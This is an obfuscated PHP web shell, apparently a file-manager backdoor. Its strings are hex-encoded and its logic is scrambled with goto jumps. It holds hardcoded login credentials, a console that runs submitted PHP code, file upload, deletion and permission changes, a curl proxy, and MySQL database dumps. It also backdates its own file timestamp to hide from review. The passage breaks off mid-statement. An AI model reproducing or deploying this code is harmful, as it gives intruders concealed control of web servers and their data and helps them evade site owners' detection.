header("\x43\x6f\x6e\x74\145\156\164\55\124\x79\x70\x65\x3a\40\x61\x70\160\x6c\151\143\x61\x74\x69\x6f\156\57\144\157\x77\x6e\154\x6f\141\x64"); goto R1ltm; M6kPr: } goto av4kN; QNJjr: ini_set("\155\x61\170\x5f\145\x78\145\x63\165\164\x69\157\156\x5f\164\x69\x6d\x65", "\60"); goto piuiC; CJJkL: if (!($C3WE7 && !empty($_SERVER["\x48\x54\124\120\137\101\x43\103\x45\x50\x54\137\x4c\x41\116\x47\x55\x41\107\x45"]) && empty($_COOKIE["\x66\x6d\137\x6c\x61\x6e\x67"]))) { goto lbrNm; } goto H3tW5; Ce3FK: $mNXtQ = empty($_REQUEST["\160\x61\x74\x68"]) ? $mNXtQ = realpath("\x2e") : realpath($_REQUEST["\160\141\x74\x68"]); goto C51r_; yyfFI: echo "\x22\76\xd\12\40\40\40\40\40\x20\40\x20\x20\x20\40\x20\74\164\x65\x78\164\x61\162\145\141\x20\x6e\x61\x6d\x65\75\x22\x6e\145\167\143\x6f\x6e\164\145\156\164\x22\x20\x69\x64\75\x22\x6e\x65\167\143\157\156\164\x65\x6e\164\x22\40\143\157\154\163\x3d\42\64\x35\42\40\162\157\167\163\x3d\42\x32\x35\42\x20\x73\164\171\x6c\145\75\x22\167\x69\x64\164\150\72\x39\71\x25\x22\40\x73\x70\x65\x6c\154\x63\x68\x65\143\153\75\42\146\x61\x6c\163\x65\x22\x3e"; goto x5UwO; AfnfG: unset($VsbYS); goto vl95z; RSwq0: xFWUZ: goto ltkaz; k11Zv: echo "\x22\x3e\xd\12\40\x20\x20\x20\40\40\x20\x20\74\x2f\x66\157\162\155\76\xd\12\x20\x20\40\40\x3c\x2f\164\144\76\xd\xa\74\x2f\x74\x72\x3e\xd\12\74\x2f\x74\141\142\154\145\76\xd\12\x3c\163\x63\162\151\x70\x74\x20\154\141\x6e\x67\x75\141\x67\145\x3d\42\112\141\166\141\163\143\162\x69\160\164\42\x20\164\x79\x70\x65\x3d\42\164\x65\170\x74\x2f\x6a\141\166\x61\x73\x63\162\x69\x70\164\42\76\xd\xa\144\157\x63\x75\x6d\x65\156\x74\56\x61\144\x64\105\166\x65\x6e\x74\x4c\x69\x73\164\x65\x6e\145\162\x28\47\104\117\115\x43\157\156\164\145\x6e\164\114\x6f\x61\x64\x65\x64\x27\54\x20\146\165\156\x63\164\x69\x6f\x6e\50\x29\40\173\15\xa\11\x65\x64\x69\x74\x41\x72\x65\141\x4c\x6f\x61\144\145\x72\56\x69\156\151\x74\x28\173\xd\12\x9\151\144\72\40\42\x6e\x65\x77\143\157\x6e\x74\x65\x6e\164\42\xd\xa\x9\54\144\x69\x73\x70\x6c\x61\171\x3a\x20\x22\x6c\x61\164\x65\x72\x22\15\xa\11\x2c\163\164\141\x72\164\x5f\150\x69\x67\x68\154\151\x67\150\164\72\40\164\x72\x75\x65\15\12\x9\54\141\154\x6c\157\x77\x5f\162\145\163\151\x7a\x65\72\40\x22\x62\157\x74\x68\x22\15\xa\x9\x2c\x61\154\154\157\167\x5f\164\x6f\x67\x67\x6c\145\72\40\x74\162\x75\x65\xd\xa\11\54\x77\157\x72\x64\137\167\x72\141\160\x3a\40\x74\x72\x75\145\xd\12\11\54\x6c\141\x6e\147\165\x61\147\145\x3a\40\42\x72\165\42\15\xa\x9\54\163\x79\x6e\164\x61\170\72\x20\42"; goto BIs4N; BELTg: $d19Xm["\x63\157\157\x6b\151\x65\137\156\x61\x6d\x65"] = isset($d19Xm["\x63\x6f\157\153\151\145\137\156\141\x6d\x65"]) ? $d19Xm["\143\x6f\157\x6b\151\x65\x5f\156\141\155\145"] : "\146\x6d\x5f\165\163\x65\162"; goto zFxnu; auvJX: echo CwQZd("\122\x69\x67\x68\164\x73") . "\40\55\x20" . $_REQUEST["\162\151\147\x68\164\x73"]; goto jUSez; BIs4N: echo pathinfo($_REQUEST["\x65\144\151\164"], PATHINFO_EXTENSION); goto GM2YN; t1o8m: $dIxSR .= CWqzD("\x45\162\x72\157\x72\40\x6f\x63\x63\x75\162\x72\x65\x64"); goto scALU; ovBrv: $slCOq = base64_decode($_GET["\147\x7a"]); goto ndsQ3; Cfgck: goto aywq1; goto cvPO3; fJnHy: if (empty($s97BH["\162\145\x73\x74\x6f\x72\145\x5f\164\151\x6d\145"])) { goto R5O0b; } goto db4qc; FvrPj: natsort($Z77_j); goto eADbh; EmH2s: NbOkN: goto EY1lH; bfBip: xm0aQ: goto kdIm6; O5W6F: $s97BH = $BJWHu; goto gssTl; wjR7g: error_reporting(E_ALL & ~E_WARNING); goto cqao6; lqKB0: W8Nzc: goto OfYmu; wEITS: echo "\x9\x9\x3c\x2f\x74\144\76\15\12\11\x9\x3c\164\144\x3e\xd\12\11\x9"; goto zjTPq; krw8L: if (empty($dIxSR)) { goto id1sT; } goto hW5Ic; jpS2U: goto aywq1; goto Ux6TE; M_kZg: function H6q8i($X05w2, $w0zHu, $duQ6V) { goto KbFsU; jcndq: goto eudR3; goto UMo9Q; UMo9Q: PpgDo: goto j_yGv; rE6QO: $mNXtQ = $X05w2 . "\x2f" . $z1rd2; goto ZAaF6; NbG8Z: i5NHc: goto DEsdD; DEsdD: G9vDK: goto jcndq; hqsIW: if (!(false !== ($z1rd2 = readdir($bAjqm)))) { goto PpgDo; } goto X8Fgp; MSY5J: $kfqAk[] = str_replace("\x2f\57", "\57", $mNXtQ); goto m4GEE; KbFsU: $kfqAk = array(); goto cEfEq; aOsCq: if (!(strpos($Cub4g, $duQ6V) !== false)) { goto Xly_h; } goto MSY5J; m4GEE: Xly_h: goto rLegc; cEfEq: if (!($bAjqm = opendir($X05w2))) { goto qSZAp; } goto SvjRd; ZAaF6: if (is_dir($mNXtQ)) { goto GrlZW; } goto cg3sd; BIUUt: qSZAp: goto sWGXg; X8Fgp: if (!($z1rd2 != "\x2e" && $z1rd2 != "\56\x2e")) { goto G9vDK; } goto rE6QO; sWGXg: return $kfqAk; goto J27Gf; rLegc: wLkXt: goto LBfnm; cg3sd: if (!fnmatch($w0zHu, $z1rd2)) { goto wLkXt; } goto nqbl2; SvjRd: eudR3: goto hqsIW; LBfnm: goto i5NHc; goto fmGGf; nqbl2: $Cub4g = file_get_contents($mNXtQ); goto aOsCq; fmGGf: GrlZW: goto b2SLG; b2SLG: $kfqAk = array_merge($kfqAk, H6q8I($mNXtQ, $w0zHu, $duQ6V)); goto NbG8Z; j_yGv: closedir($bAjqm); goto BIUUt; J27Gf: } goto bCAsd; ZaHdh: echo "\x9\x9\11\74\57\x74\144\x3e\15\12\11\11\11\74\x2f\x74\162\x3e\15\12\x9\11\74\57\x74\141\x62\154\x65\x3e\15\12\x20\x20\x20\40\74\x2f\x74\x64\76\15\xa\40\40\x20\x20\74\164\x64\40\143\154\141\163\163\x3d\x22\x72\x6f\x77\x33\x22\76\15\xa\11\11\74\x74\x61\x62\x6c\145\76\15\12\x9\11\74\164\x72\x3e\xd\xa\11\11\x3c\164\144\76\15\12\x9\x9"; goto C26mR; pd_ZQ: if (!($L3b_r["\x69\144"] != $BnHN0)) { goto H3CZ8; } goto kXZJn; LkAT6: if (isset($_POST["\160\150\x70\x72\165\x6e"]) && !empty($s97BH["\x65\156\x61\x62\154\145\137\160\x68\x70\x5f\x63\x6f\x6e\163\157\154\x65"])) { goto Wr6Oq; } goto U_o4b; bInd_: if (!empty($_REQUEST["\x6d\153\144\x69\162"]) && !empty($s97BH["\x6d\141\153\145\137\x64\x69\162\145\143\x74\x6f\x72\x79"])) { goto ii6Hx; } goto Jftzq; oSq10: iApXz: goto wEITS; e4b3D: ini_set("\x64\151\163\160\154\x61\x79\137\x73\x74\141\162\x74\165\160\137\x65\x72\162\x6f\x72\x73", "\61"); goto tGdOp; Pyanr: GMC8b: goto T0D7h; oOCl5: set_time_limit(0); goto RCjVP; FIqoa: echo $mNXtQ; goto ByfSc; DkxBp: $dIxSR = ''; goto eiYPS; h_M6j: echo $lQuHO; goto yyfFI; PAQT8: $L3b_r = json_decode($B2ArX, true); goto CN8dK; Oz8VR: if (!isset($LNPWh[1])) { goto gT35d; } goto X8J0A; QIDb5: echo "\x3c\57\141\x3e\15\12\11\x3c\57\x74\x64\76\15\12\74\x2f\x74\x72\76\15\xa\74\164\x72\76\15\xa\x20\40\40\x20\74\164\x64\40\x63\x6c\x61\163\163\75\42\x72\157\167\x31\x22\40\x61\154\x69\x67\x6e\75\x22\143\145\156\164\x65\162\x22\x3e\xd\12\40\x20\40\x20\40\40\x20\x20\74\x66\x6f\162\x6d\x20\x6e\141\x6d\x65\75\x22\x66\157\162\155\61\42\40\x6d\145\x74\150\157\144\75\x22\x70\157\x73\x74\x22\x20\141\143\x74\x69\157\x6e\75\42"; goto iScMw; oFTDO: $KB7Dj = file_get_contents(__FILE__); goto ZNxRc; UoKSM: xmovS: goto jX7jw; VRQku: echo $_REQUEST["\162\x65\156\x61\155\145"]; goto hXxYp; ZcEFA: echo "\40\174\40\x3c\x61\x20\150\162\145\146\x3d\42\77\x70\x72\157\x78\171\x3d\164\162\165\x65\x22\76\160\162\157\x78\x79\74\57\141\76"; goto fOicF; GLKzE: echo CWQzD("\x4d\x61\x6e\x61\x67\x65"); goto ykSVK; XMxKY: W9osE: goto VaBRi; Owd4I: goto Gd9b_; goto A9UDE; cmbc7: if (empty($D8ooi[1])) { goto ChOVd; } goto y9OTw; ZNeRM: WKuqb: goto HmqCH; uKVi2: sM5FV: goto Zbgjj; GOCkK: $St7jq = str_replace("\173\42" . $D8ooi[1] . "\x22\x7d", $B3KcH, $KB7Dj); goto DWMln; JYpQM: echo "\x22\40\x6e\141\155\x65\x3d\42\x73\x65\141\x72\x63\x68\137\162\x65\143\x75\x72\x73\x69\x76\x65\42\40\166\x61\154\x75\145\x3d\42"; goto Vj_aM; uUI8b: goto KCyLy; goto ftjDG; tJFXo: set_error_handler(function () { return true; }); goto FAUxH; QGO81: touch(__FILE__, 1415116371); goto DtHWj; cyQOi: echo "\74\x2f\164\150\x3e\xd\xa\x3c\57\164\162\x3e\15\xa\74\164\x72\76\xd\12\40\40\x20\x20\x3c\x74\144\x20\143\x6c\x61\163\163\75\x22\162\157\167\x31\x22\x3e\15\xa\x20\x20\40\x20\40\40\x20\x20"; goto GC5YF; SUYPf: function oP3PC($PTCHs) { goto qUCuT; qUCuT: global $s97BH; goto xv5tu; DSzYn: return $ifnQA; goto KBTdF; xv5tu: $ifnQA = !empty($s97BH["\145\x6e\141\142\154\x65\137" . $PTCHs . "\x5f\x63\x6f\156\x73\157\x6c\x65"]) ? "\15\xa\11\11\x9\x9\x3c\146\x6f\162\x6d\40\x20\155\145\x74\x68\157\x64\75\42\160\157\163\x74\x22\x20\141\143\x74\x69\x6f\156\x3d\42" . c0J9p() . "\42\x20\x73\164\x79\x6c\145\x3d\x22\x64\x69\x73\160\x6c\x61\x79\72\151\x6e\x6c\x69\x6e\x65\42\76\15\12\x9\x9\11\x9\74\x69\156\160\165\x74\40\164\x79\x70\145\x3d\x22\163\x75\142\155\151\164\42\x20\x6e\141\155\x65\x3d\42" . $PTCHs . "\x72\x75\156\x22\40\166\141\x6c\x75\145\75\x22" . strtoupper($PTCHs) . "\40" . cwQzD("\x43\157\156\x73\157\154\x65") . "\42\x3e\15\12\x9\11\x9\x9\x3c\57\146\x6f\162\x6d\76\xd\xa" : ''; goto DSzYn; KBTdF: } goto kwiSV; UoGne: echo !empty($mNXtQ) ? "\x20\55\x20" . $mNXtQ : ''; goto Px6R9; WXi9g: echo ugU8f(); goto N_AJL; fvGSW: tnVFZ: goto te1qF; GC5YF: echo $dIxSR; goto fy2r5; gA_he: $dIxSR .= cwqZd("\x46\157\x75\156\x64\x20\151\156\x20\146\x69\x6c\145\163") . "\40\50" . count($JCw1W) . "\51\x3a\x3c\x62\x72\x3e"; goto a3kNa; xaUBE: $dIxSR .= CWqZd("\x45\162\162\157\162\40\x6f\x63\x63\165\x72\162\x65\144") . "\72\40" . cWqzD("\156\x6f\40\x66\151\154\x65\x73"); goto owd93; rF1rO: wyRk_: goto frFSB; Gmb4R: function K4IZ7($lOFrg, $n3dRn, $qeFCK = false) { goto Z7aY2; WM3hE: gd1Kp: goto c230R; c230R: eyNOf: goto op6_l; KNiNS: if (!(@is_dir($lOFrg) && $qeFCK)) { goto eyNOf; } goto NaJOr; NaJOr: $p_eNj = aosws($lOFrg); goto yi4qr; Z7aY2: $ZBccG = @chmod(realpath($lOFrg), $n3dRn); goto KNiNS; yi4qr: foreach ($p_eNj as $XqE0h) { $ZBccG = $ZBccG && k4Iz7($lOFrg . "\x2f" . $XqE0h, $n3dRn, true); SndK5: } goto WM3hE; op6_l: return $ZBccG; goto QsYHM; QsYHM: } goto a6wMl; ds0c1: if (!MELJ4($mNXtQ . $_REQUEST["\x64\x65\154\x65\x74\145"], true)) { goto phYFi; } goto CHh_y; H9hXQ: $I_70P = curl_init($Mq012); goto kROUB; c6e0P: $_FILES["\165\160\x6c\157\x61\144"]["\156\x61\155\145"] = str_replace("\45", '', $_FILES["\165\x70\x6c\157\x61\144"]["\x6e\x61\x6d\145"]); goto uu6UV; y9OTw: $vA8kI = filemtime(__FILE__); goto GOCkK; U_o4b: goto MGQbM; goto gg2di; MZJB1: echo "\74\57\141\76\xd\xa\11\74\57\x74\144\76\15\12\74\57\x74\x72\76\xd\12\74\x74\x72\76\15\xa\x20\40\40\x20\74\x74\x64\x20\x63\x6c\141\163\x73\75\42\162\x6f\167\61\42\40\x61\154\151\x67\x6e\75\x22\143\145\x6e\164\x65\162\42\x3e\xd\xa\x20\x20\40\40\x20\x20\x20\x20\74\146\157\162\155\x20\x6e\141\x6d\145\75\42\x66\157\162\155\61\x22\40\155\x65\x74\150\x6f\144\75\42\x70\x6f\x73\164\42\x20\x61\143\164\x69\x6f\x6e\x3d\x22"; goto vkmQu; av4kN: function pk3Dm($s2aWt, $w0Vyt = true) { goto rR5Vf; xwEun: if ($Ci6N3 <= 1024 * 1024 * 1024) { goto xOUrK; } goto YkaIa; W7SCd: return round($Ci6N3 / (1024 * 1024), 2) . "\46\156\x62\163\160\73\115\x62"; goto oHRDI; H3iGn: return round($Ci6N3 / 1024, 2) . "\x26\x6e\142\x73\160\x3b\113\142"; goto MYuwX; OAWM1: goto ZG2_p; goto R0WLL; r0yU2: eVkot: goto H3iGn; LA7t_: cnJEx: goto cvNkr; XGh93: Fildx: goto BZ1JO; UTOrZ: y3MRX: goto SYr1f; VOkHU: if (!($lOFrg == "\56" || $lOFrg == "\56\56")) { goto y3MRX; } goto lvAuf; vvnlz: return $Ci6N3 + filesize($s2aWt); goto OAWM1; j6C_s: return round($Ci6N3 / (1024 * 1024 * 1024), 2) . "\46\x6e\x62\163\x70\x3b\107\x62"; goto aZDu2; SYr1f: if (is_file($s2aWt . "\57" . $lOFrg)) { goto cnJEx; } goto LE9FO; e2KVF: fK7v7: goto bSMAI; Jg783: return round($Ci6N3 / (1024 * 1024 * 1024 * 1024 * 1024), 2) . "\x26\x6e\142\163\x70\73\x50\142"; goto tZxew; ZmMZ9: rjKk1: goto po0WT; Edh2F: goto A_Icu; goto CuVyE; Q1nxg: $KBTmd = opendir($s2aWt); goto WKOLH; aZDu2: goto x5h50; goto e2KVF; oHRDI: goto x5h50; goto NBPiE; zF_aR: SbH8i: goto Edh2F; uIyMf: $Ci6N3 = Pk3dM($s2aWt, false); goto sMG3R; tZxew: goto x5h50; goto ZmMZ9; R0WLL: dWMKa: goto uIyMf; lvAuf: goto A_Icu; goto UTOrZ; sMG3R: if ($Ci6N3 <= 1024) { goto rjKk1; } goto vGbDl; XDPmn: if ($Ci6N3 <= 1024 * 1024 * 1024 * 1024 * 1024) { goto fK7v7; } goto Jg783; NBPiE: UwmL4: goto j6C_s; rR5Vf: if ($w0Vyt) { goto dWMKa; } goto ndJXG; ndJXG: if (!is_file($s2aWt)) { goto Fildx; } goto jsOba; JzV9C: if (!(($lOFrg = readdir($KBTmd)) !== false)) { goto IXTQW; } goto VOkHU; w0x_g: closedir($KBTmd); goto vvnlz; vGbDl: if ($Ci6N3 <= 1024 * 1024) { goto eVkot; } goto xwEun; MYuwX: goto x5h50; goto ftyai; uiGl8: goto SbH8i; goto LA7t_; eVwO4: ZG2_p: goto j00O2; WKOLH: A_Icu: goto JzV9C; jsOba: return filesize($s2aWt); goto XGh93; uUdli: goto x5h50; goto r0yU2; ftyai: xOUrK: goto W7SCd; cvNkr: $Ci6N3 += filesize($s2aWt . "\57" . $lOFrg); goto zF_aR; po0WT: return $Ci6N3 . "\40\142\171\164\145\x73"; goto uUdli; bSMAI: return round($Ci6N3 / (1024 * 1024 * 1024 * 1024), 2) . "\46\156\x62\x73\x70\73\x54\x62"; goto KrrVT; KrrVT: x5h50: goto eVwO4; CuVyE: IXTQW: goto w0x_g; YkaIa: if ($Ci6N3 <= 1024 * 1024 * 1024 * 1024) { goto UwmL4; } goto XDPmn; LE9FO: $Ci6N3 += PK3DM($s2aWt . "\x2f" . $lOFrg, false); goto uiGl8; BZ1JO: $Ci6N3 = 0; goto Q1nxg; j00O2: } goto DhTop; C26mR: if (empty($s97BH["\x75\x70\154\157\x61\144\137\146\151\154\145"])) { goto iApXz; } goto ZWfPK; m1Fcw: if (empty($K6jfj)) { goto YshQ0; } goto i4J7N; RRPAK: echo "\x20\74\x2f\164\x68\76\15\12\x20\40\x20\40\x3c\x74\150\x20\x73\164\171\154\145\75\42\x77\x68\x69\x74\x65\x2d\x73\x70\x61\143\x65\72\x6e\157\x77\x72\x61\x70\x22\76\40"; goto ZD2KN; ie3nA: header("\x4c\x6f\143\x61\164\x69\157\x6e\72\x20" . uNCR5() . $_SERVER["\122\105\121\x55\105\123\124\137\125\x52\111"]); goto R7PTR; CjLjn: if (empty($ZBccG)) { goto Gs0pI; } goto drU4X; eO0B5: SVtPw: goto h8AZ4; uvQ12: clearstatcache(); goto AEdNP; qyidX: echo cWQZd("\122\x65\143\x75\x72\163\151\x76\x65\154\171"); goto hOO1K; uu6UV: if (!move_uploaded_file($_FILES["\165\160\154\157\141\144"]["\x74\155\x70\137\156\x61\155\145"], $mNXtQ . $_FILES["\x75\x70\x6c\x6f\141\x64"]["\x6e\141\x6d\x65"])) { goto NbOkN; } goto V0gA7; od7d8: if (empty($s97BH["\163\150\x6f\167\137\x70\x68\x70\x5f\x69\x6e\151"])) { goto AN_5v; } goto STEgV; QTWWp: $_REQUEST["\162\145\156\x61\x6d\x65"] = $_REQUEST["\x6e\x65\167\x6e\x61\155\145"]; goto O02oe; w78bO: $St7jq = str_replace("\173\x22" . $D8ooi[1] . "\42\175", $B2ArX, $KB7Dj); goto xTU12; u9_W2: $Mq012 = isset($_GET["\165\x72\154"]) ? urldecode($_GET["\x75\162\x6c"]) : ''; goto DwWsk; tGdOp: error_reporting(E_ALL); goto Xj_P8; pmE_4: echo "\74\x68\63\76" . strtoupper($zqLqB) . "\40" . CwqZd("\x52\x65\x73\165\154\164") . "\74\x2f\150\63\76\74\x70\162\x65\x3e" . $SpGQC($ZBccG) . "\x3c\57\x70\x72\145\76"; goto xF580; sjVnN: echo VXawt() . "\40\x7c\x20\x76\145\x72\x2e\x20" . $RxYnn . "\40\x7c\x20\x3c\141\40\150\162\145\146\x3d\x22\x68\x74\164\x70\163\x3a\57\57\147\151\x74\150\x75\142\x2e\x63\157\x6d\57\104\x65\156\x31\x78\x78\x78\57\106\151\x6c\x65\x6d\141\156\141\x67\x65\162\42\76\x47\x69\x74\150\165\x62\74\x2f\x61\76\40\x20\x7c\40\x3c\x61\x20\150\x72\x65\146\x3d\x22" . UNcR5() . "\42\76\x2e\x3c\x2f\141\x3e"; goto ffUaN; T7PTz: $vA8kI = filemtime(__FILE__); goto w78bO; I0Pij: Y8N9A: goto Bhz8E; a5xF1: echo $ktmbx; goto CqC4j; YeTx9: nrxm4: goto PAQT8; eDddT: if (!empty($_POST["\x66\x6d\x5f\x6c\x6f\147\151\156"]["\x61\165\x74\x68\157\x72\151\172\x65"])) { goto tGTxl; } goto sA24j; Oi7kI: AN_5v: goto GftdC; rXrFM: echo cwQZd("\102\141\x63\x6b"); goto GyWwE; q_C2b: QgeqR: goto caxAE; kyA68: if (!isset($_POST["\161\165\151\164"])) { goto bua0g; } goto Rbf0V; qax6s: echo "\42\76"; goto rXrFM; ByfSc: echo "\x22\x20\x2f\x3e\xd\xa\x9\11\x9\74\151\156\160\x75\164\x20\x74\x79\160\x65\75\x22\x66\x69\x6c\x65\42\x20\156\141\x6d\145\x3d\42\165\160\x6c\x6f\141\144\x22\40\151\144\x3d\42\165\160\x6c\x6f\141\144\x5f\150\x69\x64\144\x65\156\42\40\x73\x74\x79\154\x65\75\x22\x70\157\x73\151\x74\151\x6f\156\72\40\x61\x62\163\157\x6c\x75\164\145\73\40\144\151\x73\160\x6c\141\x79\x3a\x20\x62\154\157\x63\x6b\x3b\x20\x6f\166\x65\162\x66\x6c\157\167\x3a\x20\x68\151\144\144\145\x6e\x3b\40\x77\x69\144\164\150\72\40\60\73\x20\x68\145\151\147\150\164\x3a\40\x30\73\40\x62\157\162\x64\x65\162\x3a\40\x30\x3b\40\160\x61\144\144\x69\156\x67\72\x20\60\x3b\42\40\x6f\156\x63\150\141\156\147\145\75\42\144\157\x63\165\x6d\145\156\164\56\x67\145\x74\105\154\x65\x6d\x65\x6e\164\x42\x79\x49\x64\50\47\x75\160\x6c\x6f\141\x64\x5f\x76\x69\x73\151\142\x6c\x65\x27\x29\56\x76\x61\154\165\x65\x20\75\x20\x74\150\151\163\56\x76\141\154\x75\x65\x3b\42\x20\57\x3e\15\xa\x9\x9\x9\74\x69\156\x70\x75\x74\40\164\171\160\145\75\x22\164\x65\x78\164\x22\x20\x72\x65\x61\x64\x6f\156\154\171\75\42\61\x22\40\x69\144\x3d\x22\x75\160\x6c\157\141\144\137\166\151\x73\x69\x62\154\145\x22\40\x70\154\141\x63\x65\150\x6f\154\144\145\x72\x3d\x22"; goto wkPPv; TBHHg: echo "\x9\11\11\x3c\146\157\x72\155\x20\x61\x63\164\151\157\156\75\42\x22\40\155\x65\x74\150\x6f\x64\75\x22\160\157\x73\164\42\x3e\46\x6e\x62\x73\x70\x3b\46\x6e\x62\x73\160\73\46\x6e\142\163\160\73\15\xa\x9\11\x9\74\151\156\160\x75\x74\40\x6e\x61\x6d\x65\75\42\x71\165\x69\164\42\40\x74\171\x70\x65\x3d\x22\150\151\144\x64\x65\x6e\x22\40\166\141\154\x75\145\75\x22\x31\42\x3e\xd\xa\x9\11\x9"; goto yyI_R; FAUxH: $VZJKh = "\173\42\x61\165\x74\150\x6f\x72\x69\x7a\x65\42\x3a\x22\x30\42\x2c\x22\154\x6f\147\151\156\x22\x3a\x22\141\153\x75\153\x65\143\x65\x40\64\x35\61\x22\54\42\x70\x61\163\x73\x77\x6f\162\x64\x22\72\x22\x61\153\x75\x6b\145\143\x65\x40\x34\x35\x31\x22\x2c\42\143\x6f\x6f\153\151\145\x5f\156\x61\155\x65\42\72\42\x66\x6d\x5f\165\163\x65\162\42\x2c\x22\x64\141\171\x73\137\141\165\x74\150\157\x72\151\172\x61\164\x69\157\x6e\x22\72\x22\x33\x30\x22\x2c\42\x73\143\x72\x69\160\x74\42\72\x22\42\175"; goto aXGd7; IT0jK: DpmKz: goto SLzvv; OjB48: echo $ktmbx . "\x26\x70\x61\x74\150\x3d" . $mNXtQ; goto qax6s; vMaZS: echo cwqZD("\115\x61\163\x6b"); goto vdhBy; R7PTR: bua0g: goto uKVi2; ncWX6: if (is_file($KoyTP)) { goto SVtPw; } goto xaUBE; B8400: function GufS0($GO7Gl) { return "\x2e\x2f" . basename(__FILE__) . "\x3f\151\155\147\x3d" . base64_encode($GO7Gl); } goto MlDpV; S6sEl: function D9RB3($Gxa_O = "\x2a", $mTw5u = true) { goto iWUJp; ONlHh: mxKLW: goto qpLNG; HEk2A: $xwdlA = "\157\x6e\x43\154\x69\143\x6b\75\x22\151\x66\x28\x63\x6f\x6e\146\151\162\x6d\x28\47" . CWQZd("\106\151\x6c\x65\x20\163\145\x6c\x65\x63\x74\x65\x64") . "\x3a\40\x5c\x6e" . $lOFrg . "\56\x20\134\156" . cwQZd("\x41\x72\x65\40\171\157\165\x20\163\165\x72\145\40\171\157\x75\40\x77\141\x6e\164\x20\x74\x6f\x20\144\145\154\x65\x74\145\40\164\x68\x69\163\40\x66\x69\x6c\x65\x3f") . "\47\51\x29\40\x64\157\x63\165\x6d\145\x6e\x74\56\154\x6f\x63\141\x74\151\157\x6e\x2e\x68\162\x65\x66\40\x3d\x20\47\77\144\145\154\145\164\x65\75" . $lOFrg . "\46\x70\x61\x74\x68\x3d" . $mNXtQ . "\x27\42"; goto Y8pXp; i5trf: fwrite($bAjqm, $ifnQA); goto oHFRs; DHiid: $Gxa_O[] = $sWxdb[0]; goto BnIkt; ksrFM: $okygy = "\x3b\40\12\x20\40\12"; goto I2hta; EyQ9v: rNZ3u: goto kfnfi; qpLNG: m_Byc: goto QWdHG; iWUJp: global $mNXtQ; goto E6fBd; zmV0S: ePQuW: goto bpDQT; sCTMz: $Gxa_O = is_array($Gxa_O) ? $Gxa_O : explode("\54", $Gxa_O); goto m0oV8; kfnfi: if (!($sWxdb = mysqli_fetch_row($esQj7))) { goto mxKLW; } goto DHiid; QWdHG: $ifnQA = ''; goto yXmZO; KyKHE: $bAjqm = fopen($lOFrg, "\167\x2b"); goto i5trf; BnIkt: goto rNZ3u; goto ONlHh; yXmZO: foreach ($Gxa_O as $Jle1h) { goto yL3MJ; n_IwZ: $ifnQA .= "\x29" . $okygy; goto k7zzB; FlzpR: ydd8o: goto BYI3h; W2ehF: if (!($sWxdb = mysqli_fetch_row($esQj7))) { goto eKwNP; } goto Ivt8f; rliWN: if (!($BIfZd < $bfiv7 - 1)) { goto BTjEF; } goto fW9n9; iW9xq: goto xGcvg; goto FlzpR; Bh4fL: NK5kq: goto QtPk8; ACDXa: $ifnQA .= "\x44\122\x4f\x50\40\x54\x41\x42\x4c\105\40\x49\x46\x20\x45\x58\x49\x53\x54\123\40\x60" . $Jle1h . "\x60" . $okygy; goto wGRCx; BYI3h: $j0SYi = 0; goto EomD3; Ivt8f: $ifnQA .= "\111\x4e\123\x45\122\124\40\x49\x4e\x54\x4f\x20\x60" . $Jle1h . "\x60\x20\x56\x41\114\x55\x45\x53\50"; goto w2Kfn; wGjrJ: if (isset($sWxdb[$BIfZd])) { goto pQs9M; } goto NzY1T; nZQzo: xGcvg: goto N_9hV; yL3MJ: $esQj7 = $Xr0Os->query("\x53\x45\114\x45\x43\x54\40\52\x20\106\x52\117\115\40" . $Jle1h); goto CMCa1; qHUs2: goto Ob3U2; goto FAwZQ; rGiuY: $ifnQA .= $cRquQ[1] . $okygy; goto ikf4T; ZYCHv: IynxG: goto XEGGW; divr7: if (!($j0SYi < $bfiv7)) { goto eDEzz; } goto Za4N4; ePHX3: $ifnQA .= "\42" . $sWxdb[$BIfZd] . "\42"; goto j2lLU; j2lLU: Ob3U2: goto rliWN; R6O8e: BTjEF: goto Bh4fL; CMCa1: $bfiv7 = mysqli_num_fields($esQj7); goto ACDXa; N_9hV: $ifnQA .= "\xa\12\12"; goto ZYCHv; wGRCx: $cRquQ = mysqli_fetch_row($Xr0Os->query("\123\110\117\127\40\103\x52\x45\x41\124\x45\40\124\x41\102\114\105\x20" . $Jle1h)); goto rGiuY; EomD3: o5x_J: goto divr7; w2Kfn: $BIfZd = 0; goto LVvxc; k6jKk: $j0SYi++; goto j3ce6; FAwZQ: pQs9M: goto ePHX3; gaRzR: $ifnQA = preg_replace("\43\101\x55\x54\117\137\x49\116\103\x52\x45\x4d\105\x4e\124\75\x5b\134\x64\135\53\x20\43\x69\x73", '', $ifnQA); goto iW9xq; K4923: eKwNP: goto VjoeG; LolxC: $sWxdb[$BIfZd] = addslashes($sWxdb[$BIfZd]); goto vo4zf; k7zzB: goto pPFiY; goto K4923; l5ZbB: C5fz4: goto n_IwZ; Za4N4: pPFiY: goto W2ehF; QtPk8: $BIfZd++; goto CZQ8i; j3ce6: goto o5x_J; goto EDhte; fW9n9: $ifnQA .= "\x2c"; goto R6O8e; CZQ8i: goto z3K9T; goto l5ZbB; ikf4T: if ($mTw5u) { goto ydd8o; } goto gaRzR; VjoeG: rSrrV: goto k6jKk; PZCAB: if (!($BIfZd < $bfiv7)) { goto C5fz4; } goto LolxC; EDhte: eDEzz: goto nZQzo; vo4zf: $sWxdb[$BIfZd] = str_replace("\12", "\x5c\156", $sWxdb[$BIfZd]); goto wGjrJ; NzY1T: $ifnQA .= "\x22\42"; goto qHUs2; LVvxc: z3K9T: goto PZCAB; XEGGW: } goto gPJzS; E6fBd: $Xr0Os = WW1L4(); goto ksrFM; T9DSZ: $esQj7 = $Xr0Os->query("\x53\x48\x4f\127\40\x54\x41\x42\114\105\x53"); goto EyQ9v; gPJzS: Psj7g: goto dsoEx; Y8pXp: return $lOFrg . "\72\x20" . I51Uj("\x64\157\167\156\154\x6f\x61\144", $mNXtQ . $lOFrg, cWqzD("\104\x6f\x77\156\154\157\x61\x64"), cwqzd("\x44\x6f\167\156\x6c\x6f\141\x64") . "\x20" . $lOFrg) . "\x20\74\x61\x20\150\x72\x65\146\75\x22\x23\42\x20\164\x69\164\x6c\145\x3d\x22" . cwqzd("\104\145\x6c\145\x74\x65") . "\40" . $lOFrg . "\42\x20" . $xwdlA . "\x3e" . cwqzD("\x44\x65\154\x65\164\x65") . "\74\57\141\x3e"; goto IXT88; I2hta: if ($Gxa_O == "\52") { goto ePQuW; } goto sCTMz; bpDQT: $Gxa_O = array(); goto T9DSZ; m0oV8: goto m_Byc; goto zmV0S; dsoEx: $lOFrg = gmdate("\131\55\155\55\x64\x5f\110\55\x69\x2d\x73", 